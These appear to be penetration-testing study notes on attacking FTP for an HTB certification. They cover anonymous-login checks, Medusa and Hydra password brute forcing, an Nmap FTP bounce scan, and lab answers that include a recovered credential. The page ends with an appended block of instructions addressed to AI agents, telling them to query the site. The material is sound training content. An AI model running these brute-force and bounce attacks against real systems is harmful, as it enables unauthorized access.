# Attacking FTP The [File Transfer Protocol](https://en.wikipedia.org/wiki/File_Transfer_Protocol) (`FTP`) is a standard network protocol used to transfer files between computers. It also performs directory and files operations, such as changing the working directory, listing files, and renaming and deleting directories or files. By default, FTP listens on port `TCP/21`. ## Enumeration `Nmap` default scripts `-sC` includes the [ftp-anon](https://nmap.org/nsedoc/scripts/ftp-anon.html) Nmap script which checks if a FTP server allows anonymous logins. The version enumeration flag `-sV` provides interesting information about FTP services, such as the FTP banner, which often includes the version name. We can use the `ftp` client or `nc` to interact with the FTP service. By default, FTP runs on TCP port 21. ### **Nmap** ```shell-session eldeim@htb[/htb]$ sudo nmap -sC -sV -p 21 192.168.2.142 Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-10 22:04 EDT Nmap scan report for 192.168.2.142 Host is up (0.00054s latency). PORT STATE SERVICE 21/tcp open ftp | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 1170 924 31 Mar 28 2001 .banner | d--x--x--x 2 root root 1024 Jan 14 2002 bin | d--x--x--x 2 root root 1024 Aug 10 1999 etc | drwxr-srwt 2 1170 924 2048 Jul 19 18:48 incoming [NSE: writeable] | d--x--x--x 2 root root 1024 Jan 14 2002 lib | drwxr-sr-x 2 1170 924 1024 Aug 5 2004 pub |_Only 6 shown. Use --script-args ftp-anon.maxlist=-1 to see all. ``` *** ## Misconfigurations As we discussed, anonymous authentication can be configured for different services such as FTP. To access with anonymous login, we can use the `anonymous` username and no password. This will be dangerous for the company if read and write permissions have not been set up correctly for the FTP service. Because with the anonymous login, the company could have stored sensitive information in a folder that the anonymous user of the FTP service could have access to. This would enable us to download this sensitive information or even upload dangerous scripts. Using other vulnerabilities, such as path traversal in a web application, we would be able to find out where this file is located and execute it as PHP code, for example. ### **Anonymous Authentication** ```shell-session eldeim@htb[/htb]$ ftp 192.168.2.142 Connected to 192.168.2.142. 220 (vsFTPd 2.3.4) Name (192.168.2.142:kali): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r--r-- 1 0 0 9 Aug 12 16:51 test.txt 226 Directory send OK. ``` Once we get access to an FTP server with anonymous credentials, we can start searching for interesting information. We can use the commands `ls` and `cd` to move around directories like in Linux. To download a single file, we use `get`, and to download multiple files, we can use `mget`. For upload operations, we can use `put` for a simple file or `mput` for multiple files. We can use `help` in the FTP client session for more information. ## **Brute Forcing with Medusa** With `Medusa`, we can use the option `-u` to specify a single user to target, or you can use the option `-U` to provide a file with a list of usernames. The option `-P` is for a file containing a list of passwords. We can use the option `-M` and the protocol we are targeting (FTP) and the option `-h` for the target hostname or IP address. ```shell-session eldeim@htb[/htb]$ medusa -u fiona -P /usr/share/wordlists/rockyou.txt -h 10.129.203.7 -M ftp Medusa v2.2 [http://www.foofus.net] (C) JoMo-Kun / Foofus Networks ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456 (1 of 14344392 complete) ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 12345 (2 of 14344392 complete) ACCOUNT CHECK: [ftp] Host: 10.129.203.7 (1 of 1, 0 complete) User: fiona (1 of 1, 0 complete) Password: 123456789 (3 of 14344392 complete) ACCOUNT FOUND: [ftp] Host: 10.129.203.7 User: fiona Password: family [SUCCESS] ``` *** **FTP Bounce Attack** An FTP bounce attack is a network attack that uses FTP servers to deliver outbound traffic to another device on the network. The attacker uses a `PORT` command to trick the FTP connection into running commands and getting information from a device other than the intended server. Consider we are targetting an FTP Server `FTP_DMZ` exposed to the internet. Another device within the same network, `Internal_DMZ`, is not exposed to the internet. We can use the connection to the `FTP_DMZ` server to scan `Internal_DMZ` using the FTP Bounce attack and obtain information about the server's open ports. Then, we can use that information as part of our attack against the infrastructure.
> Note: The `Nmap` -b flag can be used to perform an FTP bounce attack ```shell-session eldeim@htb[/htb]$ nmap -Pn -v -n -p80 -b anonymous:password@10.10.110.213 172.17.0.2 Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-27 04:55 EDT Resolved FTP bounce attack proxy to 10.10.110.213 (10.10.110.213). Attempting connection to ftp://anonymous:password@10.10.110.213:21 Connected:220 (vsFTPd 3.0.3) Login credentials accepted by FTP server! Initiating Bounce Scan at 04:55 FTP command misalignment detected ... correcting. Completed Bounce Scan at 04:55, 0.54s elapsed (1 total ports) Nmap scan report for 172.17.0.2 Host is up. PORT STATE SERVICE 80/tcp open http ``` *** ### Lab - Questions * What port is the FTP service running on? `2121` * What username is available for the FTP server? * Using the credentials obtained earlier, retrieve the flag.txt file. Submit the contents as your answer. ``` nmap -p- --open -sCV 10.129.133.8 -Pn -n PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 71:08:b0:c4:f3:ca:97:57:64:97:70:f9:fe:c5:0c:7b (RSA) | 256 45:c3:b5:14:63:99:3d:9e:b3:22:51:e5:97:76:e1:50 (ECDSA) |_ 256 2e:c2:41:66:46:ef:b6:81:95:d5:aa:35:23:94:55:38 (ED25519) 53/tcp open domain ISC BIND 9.16.1 (Ubuntu Linux) | dns-nsid: |_ bind.version: 9.16.1-Ubuntu 139/tcp open netbios-ssn Samba smbd 4.6.2 445/tcp open netbios-ssn Samba smbd 4.6.2 2121/tcp open ftp | fingerprint-strings: | GenericLines: | 220 ProFTPD Server (InlaneFTP) [10.129.133.8] | Invalid command: try being more creative | Invalid command: try being more creative | NULL: |_ 220 ProFTPD Server (InlaneFTP) [10.129.133.8] 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port2121-TCP:V=7.94SVN%I=7%D=1/5%Time=695BB4A3%P=x86_64-pc-linux-gnu%r( SF:NULL,2F,"220\x20ProFTPD\x20Server\x20\(InlaneFTP\)\x20\[10\.129\.133\.8 SF:\]\r\n")%r(GenericLines,8B,"220\x20ProFTPD\x20Server\x20\(InlaneFTP\)\x SF:20\[10\.129\.133\.8\]\r\n500\x20Invalid\x20command:\x20try\x20being\x20 SF:more\x20creative\r\n500\x20Invalid\x20command:\x20try\x20being\x20more\ SF:x20creative\r\n"); Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Host script results: | smb2-time: | date: 2026-01-05T12:53:43 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled but not required |_nbstat: NetBIOS name: ATTCSVC-LINUX, NetBIOS user: , NetBIOS MAC: (unknown) |_clock-skew: -1m39s ``` `anonymous:anonymous`
``` medusa -U users.list -P passwords.list -h 10.129.133.8 -n 2121 -M ftp ``` or with hydra ``` hydra -L users.list -P passwords.list -s 2121 10.129.133.8 ftp [2121][ftp] host: 10.129.133.8 login: robin password: 7iz4rnckjsduza7 ``` --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://eldeim.gitbook.io/brain_fuck/notes/certifications/eastereggs/htb-cpts/attacking-common-services/attacking-ftp.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.